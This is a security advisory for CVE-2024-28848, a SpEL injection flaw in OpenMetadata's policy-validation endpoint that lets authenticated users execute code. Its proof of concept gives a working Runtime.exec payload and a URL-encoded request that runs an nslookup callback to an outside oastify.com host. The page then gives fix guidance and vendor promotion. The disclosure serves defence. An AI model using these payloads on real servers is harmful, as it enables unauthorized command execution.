CVE-2024-28848

SpEL Injection in GET /api/v1/policies/validation/condition/<expr> (GHSL-2023-236)

Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.

The ‎CompiledRule::validateExpression method evaluates an SpEL expression using an StandardEvaluationContext, allowing the expression to reach and interact with Java classes such as java.lang.Runtime, leading to Remote Code Execution. The /api/v1/policies/validation/condition/<expression> endpoint passes user-controlled data CompiledRule::validateExpession allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system.

Snippet from PolicyResource.java

  @GET
  @Path("/validation/condition/{expression}")
  @Operation(
      operationId = "validateCondition",
      summary = "Validate a given condition",
      description = "Validate a given condition expression used in authoring rules.",
      responses = {
        @ApiResponse(responseCode = "204", description = "No value is returned"),
        @ApiResponse(responseCode = "400", description = "Invalid expression")
      })
  public void validateCondition(
      @Context UriInfo uriInfo,
      @Context SecurityContext securityContext,
      @Parameter(description = "Expression of validating rule", schema = @Schema(type = "string"))
          @PathParam("expression")
          String expression) {
    CompiledRule.validateExpression(expression, Boolean.class);
  }

  public static <T> void validateExpression(String condition, Class<T> clz) {
    if (condition == null) {
      return;
    }
    Expression expression = parseExpression(condition);
    RuleEvaluator ruleEvaluator = new RuleEvaluator();
    StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator);
    try {
      expression.getValue(evaluationContext, clz);
    } catch (Exception exception) {
      // Remove unnecessary class details in the exception message
      String message = exception.getMessage().replaceAll("on type .*$", "").replaceAll("on object .*$", "");
      throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message));
    }
  }

In addition, there is a missing authorization check since Authorizer.authorize() is never called in the affected path and therefore any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution.

This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.

Proof of concept

• Prepare the payload
  • Encode touch /tmp/pwned in Base64 => dG91Y2ggL3RtcC9wd25lZA==
  • SpEL expression to run system command: T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
  • Encode the payload using URL encoding:

%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29

• Send the payload using a valid JWT token:

GET /api/v1/policies/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%62%6e%4e%73%62%32%39%72%64%58%41%67%61%58%70%73%4e%7a%45%33%62%33%42%69%62%57%52%79%5a%57%46%6f%61%33%4a%6f%63%44%4e%72%63%32%70%72%61%47%4a%75%4d%6d%4a%7a%65%6d%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%3d%22%29%29%29 HTTP/2
Host: sandbox.open-metadata.org
Authorization: Bearer <non-admin JWT>

• Verify that a file called /tmp/pwned was created in the OpenMetadata server

This issue may lead to Remote Code Execution by a registered and authenticated user.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2024-28848 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.2.4); upgrading removes the vulnerable code path.

Kodem intelligence

Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.

1. What is CVE-2024-28848? CVE-2024-28848 is a high-severity code injection vulnerability in org.open-metadata:openmetadata-service (maven), affecting versions < 1.2.4. It is fixed in 1.2.4. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2024-28848? CVE-2024-28848 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of org.open-metadata:openmetadata-service are affected by CVE-2024-28848? org.open-metadata:openmetadata-service (maven) versions < 1.2.4 is affected.
4. Is there a fix for CVE-2024-28848? Yes. CVE-2024-28848 is fixed in 1.2.4. Upgrade to this version or later.
5. Is CVE-2024-28848 exploitable, and should I be worried? Whether CVE-2024-28848 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-28848 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-28848? Upgrade org.open-metadata:openmetadata-service to 1.2.4 or later.